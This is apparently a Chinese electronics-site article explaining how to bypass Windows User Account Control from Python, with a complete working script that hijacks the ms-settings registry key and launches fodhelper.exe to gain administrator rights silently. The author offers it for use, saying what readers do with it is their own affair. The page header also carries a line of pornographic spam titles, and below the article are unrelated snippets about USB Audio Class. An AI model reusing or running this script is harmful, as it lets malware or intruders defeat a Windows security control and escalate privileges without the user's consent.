欧美性猛交xxxx免费看_牛牛在线视频国产免费_天堂草原电视剧在线观看免费_国产粉嫩高清在线观看_国产欧美日本亚洲精品一5区

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

python如何輕松繞過UAC

電子設(shè)計 ? 2018-10-12 11:05 ? 次閱讀

很多時候我們不希望我們的軟件彈出UAC提示,這個時候我們可以通過注冊表的方法去解決。這其實已經(jīng)不在是一個安全的編程了,它變成了一把雙刃劍。

當(dāng)然我們只是討論這種問題該怎么解決。具體用在什么方面那是你的問題咯!

通過下面的代碼我們可以輕松繞過UAC:

# -*- coding: utf-8 -*-

“”“

Created on Mon Jan 8 09:09:51 2018

@author: coordinate

”“”

from __future__ import print_function

import os

import sys

import ctypes

if sys.version_info[0] == 3:

import winreg as winreg

else:

import _winreg as winreg

CMD = r“C:\Windows\System32\cmd.exe”

FOD_HELPER = r‘C:\Windows\System32\fodhelper.exe’

PYTHON_CMD = “python”

REG_PATH = ‘Software\Classes\ms-settings\shell\open\command’

DELEGATE_EXEC_REG_KEY = ‘DelegateExecute’

def is_admin():

‘’‘

Checks if the script is running with administrative privileges.

Returns True if is running as admin, False otherwise.

’‘’

try:

return ctypes.windll.shell32.IsUserAnAdmin()

except:

return False

def create_reg_key(key, value):

‘’‘

Creates a reg key

’‘’

try:

winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH)

registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, winreg.KEY_WRITE)

winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value)

winreg.CloseKey(registry_key)

except WindowsError:

raise

def bypass_uac(cmd):

‘’‘

Tries to bypass the UAC

’‘’

try:

create_reg_key(DELEGATE_EXEC_REG_KEY, ‘’)

create_reg_key(None, cmd)

except WindowsError:

raise

def execute():

if not is_admin():

print(‘[?。?The script is NOT running with administrative privileges’)

print(‘[+] Trying to bypass the UAC’)

try:

current_dir = __file__

cmd = ‘{} /k {} {}’.format(CMD, PYTHON_CMD, current_dir)

bypass_uac(cmd)

os.system(FOD_HELPER)

sys.exit(0)

except WindowsError:

sys.exit(1)

else:

#這里添加我們需要管理員權(quán)限的代碼

print(‘[+] The script is running with administrative privileges!’)

if __name__ == ‘__main__’:

execute()

---------------------

其實我們這個代碼這里主要是往注冊表中添加了這兩項

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報投訴
  • python
    +關(guān)注

    關(guān)注

    56

    文章

    4811

    瀏覽量

    85081
收藏 人收藏

    評論

    相關(guān)推薦

    請問UAC2.0和UAC3.0有什么區(qū)別?

    請教下大家,目前Windows 最高只支持UAC2.0,網(wǎng)上了解到一些信息UAC3.0不向下兼容。那3.0和2.0的差異在哪里呢? 了解到UAC3.0比UAC 2.0降低90%的功耗
    發(fā)表于 01-24 08:11

    有關(guān)UAC 3556B

    我使用UAC 3556B 聲卡,我的麥怎么無法錄音但是我的耳機能聽歌曲 求指點迷津 急急急 加急
    發(fā)表于 07-31 18:33

    Python Editor如何輕松玩轉(zhuǎn)MicroPython?

    新手編程錯誤的編輯器,基于TPYBoard系列開發(fā)板的Micropython語言編輯器--Python Editor。 首先看一下python editor的編程界面:編程界面功能介紹,下文我會
    發(fā)表于 06-04 14:36

    請問為什么當(dāng)UAC設(shè)備記錄和播放時,噪聲會定期發(fā)生?

    為什么當(dāng)UAC設(shè)備記錄和播放時,噪聲會定期發(fā)生?
    發(fā)表于 12-25 07:15

    RK3308 Linux UAC與ADB復(fù)合怎么才可以同時使用?

    RK3308 Linux UAC與ADB復(fù)合怎么才可以同時使用?
    發(fā)表于 03-09 06:10

    RK3308如何開啟UAC功能?

    RK3308如何開啟UAC功能?
    發(fā)表于 03-09 07:58

    基于Linux內(nèi)核的Rockchip USB Gadget UAC開發(fā)資料分享

    1、Rockchip USB Gadget UAC開發(fā)步驟本文檔提供 Rockchip 平臺基于 Linux 內(nèi)核的 USB Gadget UAC(USB Audio Class)驅(qū)動的使用方法
    發(fā)表于 08-10 16:03

    介紹Python 3 的功能 讓人輕松地從Python 2遷移到Python 3

    為了使初學(xué)者能夠輕松地從 Python 2 向 Python 3 實現(xiàn)遷移,我收集了一些 Python 3 的功能,希望對大家有所幫助。
    的頭像 發(fā)表于 01-31 15:11 ?4560次閱讀

    win7如何關(guān)閉uac,詳細(xì)步驟的介紹

    win7系統(tǒng)的穩(wěn)定性,兼容性,安全性一直讓大家稱贊,其實是因為它的背后有很多小功能在支持。其中就有一個uac功能,它通過限制應(yīng)用軟件而改進(jìn)win7系統(tǒng)的安全性。但是有利就有弊,安裝軟件時它總是彈出
    發(fā)表于 03-24 17:28 ?1626次閱讀

    繞過kernel模塊版本校驗檢測

    繞過kernel模塊版本校驗檢測
    發(fā)表于 10-28 11:07 ?0次下載

    如何通過python輕松處理大文件

    眾所周知,python除了以簡潔著稱,其成熟的第三方庫功能也是很強大的,今天浩道帶大家看看如何通過python輕松處理大文件,真讓人直呼yyds 。
    的頭像 發(fā)表于 04-27 10:54 ?924次閱讀

    Android App開發(fā)新選擇:使用Chaquopy輕松結(jié)合Python

    。Chaquopy是一個可以幫助開發(fā)者在Android App中輕松使用Python代碼的工具。本文將介紹如何安裝Chaquopy,讓你的Android App更加強大。
    的頭像 發(fā)表于 04-25 20:29 ?2366次閱讀
    Android App開發(fā)新選擇:使用Chaquopy<b class='flag-5'>輕松</b>結(jié)合<b class='flag-5'>Python</b>

    使用Teachable Machine和Python輕松進(jìn)行對象檢測

    電子發(fā)燒友網(wǎng)站提供《使用Teachable Machine和Python輕松進(jìn)行對象檢測.zip》資料免費下載
    發(fā)表于 06-27 09:26 ?0次下載
    使用Teachable Machine和<b class='flag-5'>Python</b><b class='flag-5'>輕松</b>進(jìn)行對象檢測

    PyJNIus:在Python輕松調(diào)用Java方法

    PyJNIus 是一個神奇的 Python 第三方模塊。它能使用Java本地接口將Java類作為Python類訪問的Python模塊。 如果你需要在Python中使用Java 類,這個
    的頭像 發(fā)表于 10-30 11:32 ?997次閱讀

    PyJNIus :讓你在Python輕松調(diào)用Java方法

    PyJNIus 是一個神奇的 Python 第三方模塊。它能使用Java本地接口將Java類作為Python類訪問的Python模塊。 如果你需要在Python中使用Java 類,這個
    的頭像 發(fā)表于 11-01 10:45 ?901次閱讀